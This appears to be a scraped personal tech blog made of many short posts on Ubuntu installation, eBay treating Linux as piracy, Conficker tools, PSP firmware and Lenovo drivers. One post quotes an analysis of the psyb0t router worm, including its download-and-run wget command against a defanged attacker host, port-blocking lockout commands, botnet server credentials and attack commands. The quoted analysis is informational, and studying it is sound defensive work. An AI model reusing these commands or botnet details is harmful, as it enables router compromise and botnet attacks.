Installing Ubuntu 9.04 on Microsoft Virtual PC 2007 SP1

The default installation hangs somewhere. This is similar to Fedora Core 10 that I describe before. The solution is somehow similar.

Boot Ubuntu 9.04 up. On the first screen, choose [English].
Then press [F4] and select [Safe Graphics].
Then press [F6], but do not select any option. Instead press [Escape] and it will allow you to change the command line. Remove the option "quiet splash --" and replace it with "vga=791 noreplace-paravirt" instead.
Press [Enter] to start the installation.

I will expect more issue with the grub menu and other options later on, but my VM is still installing as I type here, so I won't know at this point of time. I will update again on a later post if there is any other issues.

Update: Yes, as pointed out by a commenter below, it is also possible to access command line by pressing [Esc]. However, you had better somehow remember the whole command, because it is not echoed onto the screen.

Update: Also note that during the bootup, it will take a while at the message that said squashfs.... Do not panic. That is normal.

Update: Near the end of the installation, at about 97%, there is a long wait to remove software packages. This is normal.

Slayers Evolution R Ending - Spoilers

Slayers Evolution ended about 2 weeks ago with some loose ends still unsolved. Lina Inverse has her hair turned white, perhaps due to the over usage of Giga-Slay. Although the ending, they did show her hair back to orange. One of them must be a glitch. Pokoda lose his hair/hand but was seen sew back by the villager in the ending. The truth of the Red Wizard Reizon was revealed, but was revealed to be a anti-hero rather than a villian. And the reason why the series was named Slayers is finally revealed.

1. But what happened to Maria, the enchanted armor? Where did she return to?
2. What happened to Gaori's Sword of Light? (Maybe I forgotten this... Was this in the past series?)

Well, I do hope we see more of Slayers. This is one wonderful series.

Ebay Still Thinks Linux Are Works of Piracy

Well, just because you can download torrent for Linux such as Mandrake, Fedora and Ubuntu from sites like ThePirateBay.com, it does not may these Linux needs to be works of piracy. For that matters, many things you can download from torrent sites are open source, freeware or public domain.

However, Ebay certain do not think so. Although after cutting and quoting GPL license and such, Ebay has reverted my account and standing, I believe they simply did nothing to their "robotic" engine which flag all Linux as Piracy. On top of that I still suffered more than 1 week of suspension which definitely equates to opportunity lost and a dent on my reputation.

I am not very thrilled to try and list another Linux for sale because of this. I had wrote to Ebay a few times and all I ever get back is cut and paste response with no regards to whatever I wrote in the question.

I guess I will just have to accept the fact. As far as Ebay is concern, all Linux are piracy and you will get severely punished for listing them.

Gamebooster FREE Software for Disabling Unnecessary Services During Gameplay

From the same company that made the FREEWARE Advance SystemCare and Smart Defrag, comes another FREEWARE product which enables the user to temporary disable background process and services during gameplay to enhance system performance. This is Gamebooster.

This is a free product which I find it useful when you want to run a intensive application or game and does not want the background process to weigh down the system performance for a while. This products works in Windows 7 as well!

Read and download from:
http://iobit.com/gamebooster.html

Linux is piracy... According to Ebay

Recently I had an incident with ebay which I felt very upset about. On one hand the linux world is trying so hard to push the concept of FREE open source software, then I got slam in my face because ebay consider linux pirated software.

My incident is pretty much similar to this:
http://www.linux.com/feature/27022
which was upssetting since it was in 2002. Basically, ebay pull the plug on my auction stating that the Linux I am selling is counterfeit and I should not list them again in the future.

Perhaps it people around south east asis is still very much stuff with the concept that software must come in a box and must be printed in factories. To be honest, even from Microsoft, I had tons of legal software which I do not even have the media for each license. All that matters was the piece of paper that state my rights to the software and the COA. In terms of moving ahead, Microsoft had done their parts not to make too much extra CD/DVD. Imagine if I needed like 101 copies of WinXP just to prove its original when I have the site license for it?

On the other hand, I guess open source software did not do its part to educate the world, well, at least not ebay. I had passed a friend of mine a DVD-R copy of Fedora and he whisper... "Err, we cannot use pirated software here... but btw, what's the CD-KEY?" I stared blankly at him. Obviously, FREE open source doesn't archive that it is suppose so.

But ebay really took it to the top. Linux IS piracy. Haha, I bet Microsoft guys must be laughing off their chairs now. Any copy, or for that matters, even my printed version of Ubuntu IS piracy. I am simply not allowed to sell Linux!!! That doesn't happens with Microsoft or other software. I listed them before and as long as I provides picture of the box, its perfectly ok.

I guess I could just walk and forget about Linux. It doesn't hurt because I wanted to do this more as a service than a profit. Some Linux are huge and I guess really painful for some users, I ust hope through me, it could reach out to them. Imagine downloading 4GB of data with a 2Mbps line.

Despite my contact to ebay, I believe I am speaking to a robot with the name of Sandra S. who simply cut and paste whatever ebay policy there is no matter what I ask or type in my request. This is probably something I did not need to do. Just tell myself, it is pointless fighting for it. Just accept the fact, Linux IS piracy. So, we all should stop selling pirated software such as Linux (including Mandriva, Fedora, Ubuntu, OpenSuse) on ebay. Yes, just switch to Windows. Its the only legal operating system regconized by ebay.

Conficker Eye Chart AKA Conficker Scanner for Dummies

Loading 6 pictures will give you a status of whether you are (likely) to be infected. Unless the DNS has been screwed up or something, I see this check as perfectly easy and effective.

http://www.confickerworkinggroup.org/infection_test/cfeyechart.html

Foundstone Conficker Detection for B / C variants

Foundstone has release a Conficker detection tool which actually has a GUI. Grab it here and run a quick scan on your network to see if any system has potentially been compromised.

Grab it at:
http://www.foundstone.com/us/resources/proddesc/confickerdetectiontool.htm

Microsoft Sharepoint Designer 2007 for FREE

Formerly also know as Frontpage. Finally, Microsoft is offering it free. Maybe because not much people is using it in hte first place now that there is Expression around. But anywhere, just sign in with your .Net Passport and here you go :

http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=baa3ad86-bfc1-4bd4-9812-d9e710d44f42

PSP Firmware 5.00 M33-6

I had not updated a while on PSP firmware. It seems that 5.00 M33-6 is out. The main bug fixes are as follows:

Changes in 5.00 M33-5:

- A setting has been added to recovery, that, when enabled it may increase memory stick reading speed. (only on the psp, not in the pc).

By default it is disabled. If you installed 3.71 fatmsmod, do not use this setting, as its perfomance with 3.71 driver has not been tested.

Instead, reinstall 5.00 m33-4 using dc8 and update to 5.00 m33-5

Changes in 5.00 M33-6:

- Fixed a bug that made unbootable psp without memory stick or with a bad one.

So, basically, up yours to 5.00 M33 at least. Then apply this patch to upgrade it to 5.00 M33-6.

Download

25 computer products that refuse to die

Here is an interesting article about 25 brands / items which we knew about back in the 70/80/90s but is hardly heard of or had totally died out.

http://www.computerworld.com/action/article.do?command=viewArticleBasic&taxonomyName=Hardware&articleId=9130874&taxonomyId=12&pageNumber=1

Top 10 Web Hacking Attacks

Here is a list of the top 10 web hacking attacks according to : Jeremiah Grossman, CTO and founder of WhiteHat Security. This was presented at the Web 2.0 Expo.

In summary, these are the top 10:

10. Flash Parameter Injection

9. ActiveX Repurposing

8. Tunneling TCP over HTTP over SQL-injection - Tunnel has always been the way to go. Basically if you can tunnel anything over something, you can get pass the firewall.

7. Cross-domain leaks of site logins via authenticated CSS

6. Abusing HTML 5 structured client-side storage

5. A different Opera - Yes, its about the browser!

4. Clickjacking / videojacking - This has been presented many many times. Clickjacking is dangerous. But so far, fortunately, nobody does it really good.

3. Safari carpet bomb - Again, browser!

2. Breaking google gears’ cross-origin communication model - Google gears, to use or not is not the question anymore

1. GIFAR - This is an attack on GIF and JAVA.

Read the full article at :
http://blogs.zdnet.com/feeds/?p=908

Conficker Distribution Map

Its nice to see some map and blinking dots since there is no visible result of the conficker worm (as expected), anyway, not yet...

But here by CWG, is a nice map of the infection and how it is going :
http://www.confickerworkinggroup.org/wiki/pmwiki.php/ANY/InfectionDistribution

Conflicker - April Fools on who?

Well, everyone is talking about it. And it seems something BIG will happen on April 1st. I doubt it, but with the population of 1 million, you never know.

BTW, at least you should try to visit sites such as www.f-secure.com or www.symantec.com. If it does not work, you may be infected or has done something serious to your hosts file. 

Here is a good FAQ on the Conflicker worm :

http://www.securityfocus.com/blogs/1802

psyb0t - Am I vulnerable?

Just got some info that you will be vulnerable to this worm if:

• Your device is a mipsel (MIPS running in little-endian mode, this is what the worm is compiled for) device.
• Your device also has telnet, SSH or web-based interfaces available to the WAN, and
• Your username and password combinations are weak, OR the daemons that your firmware uses are exploitable.

For point 1, its not hard, psyb0t v2 can probably fix that. So do not count on it you are SAFE if you do not satisfy point 1.

Also, it was suggested that if you find port 80, 23 and 22 are blocked, you should suspect something is going on. Well, unless your ISP usually already blocked them, then it's a bit hard to confirm. Come on? Which ISP will block port 80?? :P

I copied the infection steps here for those who are more technical:

Infection strategy

Get a shell on the vulnerable device (methods vary). Once a shell is acquired, the bot does the following things:

# rm -f /var/tmp/udhcpc.env
# wget

If wget is present, then it uses wget to download hxxp://dweb.webhop.net/.bb/udhcpc.env , and runs it in the background.

If wget is not present, the bot looks for "busybox ftpget", and then tries falling back to a tftp client. Once it is downloaded, it launches it in the background. The following snippet is the variant it uses if it finds that wget is usable.

# wget hxxp://dweb.webhop.net/.bb/udhcpc.env -P /var/tmp && chmod +x /var/tmp/udhcpc.env && /var/tmp/udhcpc.env &
udhcpc.env 100% |*****************************| 33744 00:00 ETA

It then takes several steps to lock anybody out of the device, including blocking telnet, sshd and web ports.

# iptables -A INPUT -p tcp --dport 23 -j DROP
# iptables -A INPUT -p tcp --dport 22 -j DROP
# iptables -A INPUT -p tcp --dport 80 -j DROP

This concludes the infection process.

And more interesting, these are the ircbot and commands:

IRC Botnet

Command and control server: strcpy.us.to
IP: 207.155.1.5 (master controller, Windstream Communications AS16687)
IP: 202.67.218.33 (backup controller? HKnet/REACH AS?????)
Port: 5050
Password: $!0@
Channel: #mipsel
Key: %#8b
NickPattern: \[NIP\]-[A-Z/0-9]{9}
BotController: DRS
DroneURL: hxxp://nenolod.net/~nenolod/psyb0t/udhcpc.env (backup copy, i did not write it)

strcpy.us.to control domain nameservers: ns1.afraid.org, ns2.afraid.org, ns3.afraid.org, ns4.afraid.org [suspended]

IRC Commands

.mode   -setsamodeonachannel
.login   -logintothebot
.logout   -logout
.exit   -causesthebotnettoexitandremoveitself
.sh   -runsonshell
.tlist   -listsallthreads
.kill   -killsathread
.killall  -killsthreads by glob-match pattern
.silent   -makesthebotstopsendingtochannel
.getip   -showbotWANipaddress
.visit   -floodURLwithGETrequests
.scan   -scansarandomrangeforvulnerablerouters/modems
.rscan   -scansaCIDRrangeforvulnerablerouters/modems
.lscan   -scansthelocalsubnetforvulnerablerouters/modems
.lrscan   -scansarangeinthelocalsubnetforvulnerablerouters/modems
.split   -splitstheworkloadofascanthreadintotwothreads
.sql   -scansforvulnerableMySQLserversandattemptstomakethemdownloadandrunURL
.pma   -scansforvulnerablephpMyAdminandattemptstomakethemdownloadandrunURL
.sleep   -makesthebotsleepforthegiventime
.sel   -???
.esel   -skipnextpartiflocaleisnotX
.vsel   -skipnextpartifversionisnotX
.gsel   -???
.rejoin[delay]         -cyclethechannelafterdelay
.upgrade  -downloadnewbotfromthedistributionsite
.ver   -returns"[PRIVATE]PSYB0T"followedbyversion
.rs   -returnsdetectedrapidshareURLsandlogins
.rsgen   -generateabogusrapidshareloginpageandforceusertobrowsetoit
.rsloop   -runsawebserveri/olooponasathread
.wget   -runswgetwiththeprovidedurl
.r00t   -attemptstoraiseeffectiveUIDusingvmsplice()exploit(seemspointless)
.sflood   -sendsSYNpacketstoIP
.uflood   -sendsUDPpacketstoIP
.iflood   -sendsICMPpingstoIP
.pscan   -portscansIP
.fscan   -triestobruteforceFTPserveratIP

More info at:
http://www.dronebl.org/blog/8

psyb0t Worm Hacking Home Router

What is psyb0t? Its the stealth botnet worm that has been in the wild hacking routers all over the world. Well, at least on planet Earth. Here are some of the "confirmed" characteristic of the worm :

• is the first botnet worm to target routers and DSL modems
• contains shellcode for many mipsel devices
• is not targeting PCs or servers
• uses multiple strategies for exploitation, including bruteforce username and password combinations
• harvests usernames and passwords through deep packet inspection
• can scan for exploitable phpMyAdmin and MySQL servers

It sound to me like the OpenWRT/DD-WRT is sitting duck for this. And among those, most of those that can be modded with these probably should take care about this worm. I heard even Tomato is affected.

While I do not have the sample of the worm now, all I can advise is:

Change the admin account to something else, like littleteddybear66.
Change the password (I hope you are not using the default!!!) to something strong. I would call 10 character, upper + lower + symbol + number strong.

Pwn2Own hacker interview

Some background. In the CanSecWest conference a few days back, a hacker Charlie Miller managed to bring into the OS X within a few seconds with an exploit working on Safari. ZDNet run a short interview with him at :

http://c.moreover.com/click/here.pl?r1877738091

The key points I wanted to post here is that he mentioned that Windows was much harder to bring, which I agree. However, that is true only in the case the software enforces the security measures. I probably have to agree on the point he said in Apple, you just do anything you want. Well, that is true as well. However, one point keep me in thoughts. That is NO MORE FREE BUG. Each bug found can be worth like USD$5000 or more, depending on the difficulty of the software. So I suppose I should not release my 0 day anymore since I will be like Santa Claus giving away $5k (or more) each time I do that. Haha, well it depends on how bad the bugs was and my level of good vs evil. In case of doubts, read my previous post on How Evil am I.

Enjoy reading the interview. And btw, IE8 went ahead with the official launch despite the 0 day bug present.

How Evil am I? Bawahahahahaha

How evil are you?

I guess its a fun quiz, just don't be offened, Canandian. Not every country IS a weapon.

Lenovo ThinkVantage System Update

I mentioned this piece of software in a previous post; and I believe this software deserved to be mentioned again in a single post. I must say that among all the software vendors which provides Laptop / PC I had seen such as Acer, HP, Dell, Gateway etc... None of them has such a tool like ThinkVantage System Update.

So what exactly is ThinkVantage System Update? Think of it as a Lenovo (previous IBM) Thinkpad Live Update system similar to Windows Updates or your Anti-Something Update. It will pick up the exact model of your laptop or PC and then find the updates that you may require. So, you won't end up picking the wrong drivers for something you do not have. This is quite common on other vendors especially if they distributes many model of bluetooth or DVD writers with the same range. You will have to dig pretty hard and remember those when you choose which driver to download. This, however, is not the case with Lenovo because of ThinkVantage Update.

This is the descriptions provided on Lenovo's page:

"System Update™ helps you reduce the time, effort, and expense required to support and maintain the latest drivers, BIOS, and other applications for Think or Lenovo systems. It enables you to get the latest updates from the Lenovo support site, or to automatically schedule your system to be updated."

I would love to repeat other stuff from that page, but I think its probably better you go take a look yourself if you are using a Lenovo system. However, I find the following information at least is useful to state here:

Supported systems

• Lenovo 3000 C100, C200, N100, N200, V100, V200 notebook computers
• Lenovo 3000 J100, J105, J110, J115, J200, J200p, J205, S200, S200p, S205 desktop computers
• ThinkPad Reserve Edition
• ThinkPad A30, A30p, A31, A31p
• ThinkPad G40, G41, G50
• ThinkPad R30, R31, R32, R40, R40e, R50, R50e, R50p, R51, R51e, R52, R60, R60e, R60i, R61, R61e, R61i
• ThinkPad S31
• ThinkPad T23, T30, T40, T40p, T41, T41p, T42, T42p, T43, T43p, T60, T60p, T61, T61p
• ThinkPad X22, X23, X24, X30, X31, X32, X40, X41, X41 Tablet, X60, X60s, X60 Tablet, X61, X61s, X61 Tablet, X300
• ThinkPad Z60m, Z60s, Z60t, Z61e, Z61m, Z61p, Z61t
• ThinkPad SL300, SL400, SL500
• ThinkPad T400, T500
• All ThinkCentre desktop computers
• All ThinkStation desktop computers
  

I find it strange that by default System Update is not installed on the thinkpad I get. Ok, there may also be a chance it was removed by "smart" administrators to prevent us from updating the laptops. But in any case, here is the link to read about and to download it:

http://www-307.ibm.com/pc/support/site.wss/TVSU-UPDATE.html

Lastly, I think its fair to say I am supportive of this software and really wish other vendors has something like this. However, I am also state that I do not work for IBM or Lenovo and is no way associated with this software.

Lenovo Thinkpad Bluetooth with other devices

I was having a terribly hard time trying to send a file simply from my Omnia to my Thinkpad today. I deleted the pairing, repaired and did whatever it takes. It just doesn't work.

I had used ThinkAdvantage and apparently, there is no update to the bluetooth software at all. I checked the drivers. It say 2004. I wondered why.

After some checks, it turns out that the default Windows bluetooth drivers was used (2004 is when WinXP was released). So, I searched around online to try to grab hold of a copy of the driver. It turns out that this Broadcom bluetooth "Lenovo Bluetooth with Enhanced Data Rate" was the same as the Toshiba one. I concluded that from the installation program anyway. It looks exactly the same. But in any case, I found the site to check what is the latest version available form here:

http://www-307.ibm.com/pc/support/site.wss/MIGR-65301.html

And the driver I had gotten to install was the latest at 5.5.0.5800 at:

http://www-307.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-70450

I hoped this information will be useful to people using the Thinkpad model of:

- ThinkPad R60(*1), R60e(*1), R61(*1), R61e(*1), R61i(*1)
- ThinkPad R400, R500
- ThinkPad SL300, SL400, SL500
- ThinkPad T60(*1), T60p(*1), T61(*1), T61p(*1)
- ThinkPad T400, T500
- ThinkPad W500, W700, W700ds
- ThinkPad X60(*1), X60s(*1), X60 Tablet(*1), X61(*1), X61s(*1), X61 Tablet(*1)
- ThinkPad X200, X200s, X200 Tablet, X300(*1), X301
- ThinkPad Z60m(*1), Z60t(*1)
- ThinkPad Z61e(*1), Z61m(*1), Z61p(*1), Z61t(*1)